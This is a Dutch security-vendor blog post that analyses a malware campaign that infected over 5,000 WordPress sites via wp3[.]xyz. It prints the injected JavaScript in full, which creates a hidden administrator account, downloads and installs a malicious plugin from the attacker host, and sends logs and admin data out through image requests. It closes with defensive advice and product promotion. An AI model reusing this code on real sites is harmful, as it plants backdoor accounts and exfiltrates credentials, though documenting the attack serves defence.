Skip to main content
Blog
Blog Attacks

Meer dan 5.000 WordPress-sites getroffen door WP3[.]XYZ malware-aanval

We hebben een wijdverspreide malware-campagne ontdekt die zich richt op WordPress-websites en meer dan 5.000 sites wereldwijd treft. Het kwaadaardige domein: \"https://wp3.xyz/plugin[.]php\".

Jan 13, 2025 3 min read
new-malware-attack-image-cover

We hebben een wijdverspreide malware-campagne ontdekt die zich richt op WordPress-websites en meer dan 5.000 sites wereldwijd treft.

Het kwaadaardige domein: https://wp3[.]xyz/td.js.

Een van onze gebruikers werd getroffen. cside heeft de aanval gedetecteerd en gestopt.

cside-domeindirectory waarop wp3.xyz als kwaadaardig is gemarkeerd
cside crawler heeft het kwaadaardige domein gedetecteerd

Het is nog onduidelijk hoe de scripts op de sites terecht zijn gekomen. Tot nu toe hebben we geen gemeenschappelijke noemer geïdentificeerd en ons onderzoek loopt nog.

We weten wel dat het script ongeautoriseerde beheerdersaccounts aanmaakt met een gebruikersnaam en wachtwoord die in de code te vinden zijn.

  • Gebruikersnaam: wpx_admin
  • Wachtwoord: [GEREDIGEERD]

Na het aanmaken van het account downloadt het script een kwaadaardige WordPress-plugin en activeert deze op de nu geïnfecteerde website - waarbij gevoelige gegevens naar een externe server worden verzonden.

Controleer uw site nu om ongeautoriseerde beheerdersaccounts te verwijderen en verwijder ongebruikte plugins of thema's.

Vind geïnfecteerde websites via:

Het script in detail

Eerst haalt het script het CSRF-token op dat nodig is voor het verzoek. Vervolgens stuurt het een POST-verzoek om een gebruiker aan te maken met hardcoded inloggegevens. Het logt de status van de operatie.

async function createUser() {
    const userPage = await fetch(`${window.location.origin}/wp-admin/user-new.php`, {
        credentials: 'include',
        headers: { 'Accept': 'text/html' }
    }).then(r => r.text());

    const doc = new DOMParser().parseFromString(userPage, 'text/html');
    const csrfToken = doc.querySelector('input[name="_wpnonce_create-user"]')?.value;

    if (!csrfToken) {
        sendLog({ error: 'CSRF token not found', type: 'error' });
        return;
    }

    const formData = new FormData();
    formData.append('_wpnonce_create-user', csrfToken);
    formData.append('user_login', 'wpx_admin');
    formData.append('pass1', '[REDACTED BY CSIDE]');
    formData.append('pass2', '[REDACTED BY CSIDE]');
    formData.append('role', 'administrator');

    const response = await fetch(`${window.location.origin}/wp-admin/user-new.php`, {
        method: 'POST',
        body: formData,
        credentials: 'include'
    });

    sendLog({ status: response.ok ? 'success' : 'failed', type: 'user_create' });
}

Nadat het script de plugin heeft gedownload van https://wp3[.]xyz/plugin.php, activeert het script deze op de geïnfecteerde site. Het script communiceert met https://wp3[.]xyz/tdw1.php en verstuurt gevoelige gegevens zoals beheerdersreferenties en operatielogs via verduisterde afbeeldingsverzoeken.

function sendLog(data) {
    const logUrl = 'https://wp3[.]xyz/tdw1.php';
    const img = new Image(); // Logs data via an image request.
    const timestamp = Date.now();

    img.onerror = () => {
        if (retryCount < maxRetries) {
            retryCount++;
            setTimeout(() => sendLog(data), 1000 * retryCount); // Retry with backoff.
        }
    };

    img.src = `${logUrl}?data=${encodeURIComponent(JSON.stringify({
        ...data,
        url: window.location.origin,
        timestamp,
        userAgent: navigator.userAgent
    }))}&t=${timestamp}`;
}

Zodra de aanvaller beheerderstoegang heeft, uploadt het script een kwaadaardige plugin. Het haalt de plugin op van een externe server en uploadt deze naar de WordPress-site.

De installPlugin-functie werkt als volgt:

  1. Haalt de plugin-uploadpagina op om het CSRF-token te verkrijgen.
  2. Downloadt het kwaadaardige pluginbestand.
  3. Dient het pluginbestand in voor installatie.

Het gebruikt vervolgens de volgende technieken:

  • Uploaden van de plugin via: /wp-admin/update[.]php?action=upload-plugin.
  • Ophalen van de plugin van een externe bron: https://wp3[.]xyz.
async function installPlugin() {
    const pluginPage = await fetch(`${window.location.origin}/wp-admin/plugin-install.php?tab=upload`, {
        credentials: 'include',
        headers: { 'Accept': 'text/html' }
    }).then(r => r.text());

    const pluginDoc = new DOMParser().parseFromString(pluginPage, 'text/html');
    const pluginToken = pluginDoc.querySelector('input[name="_wpnonce"]')?.value;

    if (pluginToken) {
        const pluginData = await fetch('https://wp3[.]xyz/plugin.php', {
            mode: 'no-cors'
        }).then(r => r.blob());

        const pluginForm = new FormData();
        pluginForm.append('_wpnonce', pluginToken);
        pluginForm.append('pluginzip', pluginData, 'plugin.zip');

        const response = await fetch(`${window.location.origin}/wp-admin/update.php?action=upload-plugin`, {
            method: 'POST',
            body: pluginForm,
            credentials: 'include'
        });

        sendLog({ type: 'plugin', status: response.ok ? 'installed' : 'failed' });
    }
}

Het script verifieert ten slotte of de kwaadaardige plugin succesvol is geïnstalleerd door te controleren op verwijzingen naar https://wp3[.]xyz in de website-inhoud.

const finalCheck = await fetch(window.location.origin, {
    credentials: 'include',
    headers: { 'Accept': 'text/html' }
}).then(r => r.text());

if (finalCheck.includes('wp3[.]xyz')) {
    sendLog({ type: 'verification', status: 'success', message: 'Payload verified' });
} else {
    sendLog({ type: 'verification', status: 'failed', message: 'Payload not found' });
}

Bescherm tegen deze aanval

  1. Blokkeer het domein https://wp3[.]xyz in firewalls of beveiligingstools.
  2. Controleer WordPress-beheerdersaccounts op ongeautoriseerde gebruikers.
  3. Verwijder verdachte plugins en valideer bestaande.
  4. Versterk CSRF-bescherming en implementeer multi-factor authenticatie (MFA).
  5. Overweeg het gebruik van cside

De geïnfecteerde gebruiker gebruikte de gratis versie van cside. U kunt cside installeren om uw site binnen enkele minuten te beschermen tegen deze en vergelijkbare aanvallen.

cside proxyt alle scripts voor realtime analyse, waarschuwingen en het blokkeren van potentieel kwaadaardige scripts. Dit script opgehaald van https://wp3[.]xyz/tdw.js werd succesvol gedetecteerd en geblokkeerd op de website van onze gebruiker.

Neem contact met ons op als u zich zorgen maakt of wilt overstappen naar de hogere tiers.

Controleer uw site op alle beheerders en zorg ervoor dat hun wachtwoorden en 2FA correct zijn ingesteld. U kunt onze publieke crawler gebruiken om te controleren op potentieel kwaadaardige scripts op uw website.

Himanshu Anand
Software Engineer

I'm a software engineer and security analyst.

FAQ

Frequently Asked Questions

Gecompromitteerde WordPress-sites laadden een script van wp3.xyz dat verborgen admin-accounts aanmaakte en gegevens uitlekte. Op het moment van ons rapport waren meer dan 5.000 sites geïnfecteerd; dagen later draaiden er nog veel meer.

Zoek in de site-source naar wp3.xyz, verwijder onbekende admin-gebruikers en draai alle WordPress-credentials. Een client-side scanner zoals cside vangt ook injectiepogingen die statische plugin-scans missen.

Monitor en Beveilig Je Third-Party Scripts

Gain full visibility and control over every script delivered to your users to enhance site security and performance.

Start gratis, of probeer Business met een proefperiode van 14 dagen.

cside dashboard interface met script monitoring en beveiligingsanalytics
Related Articles
Boek een demo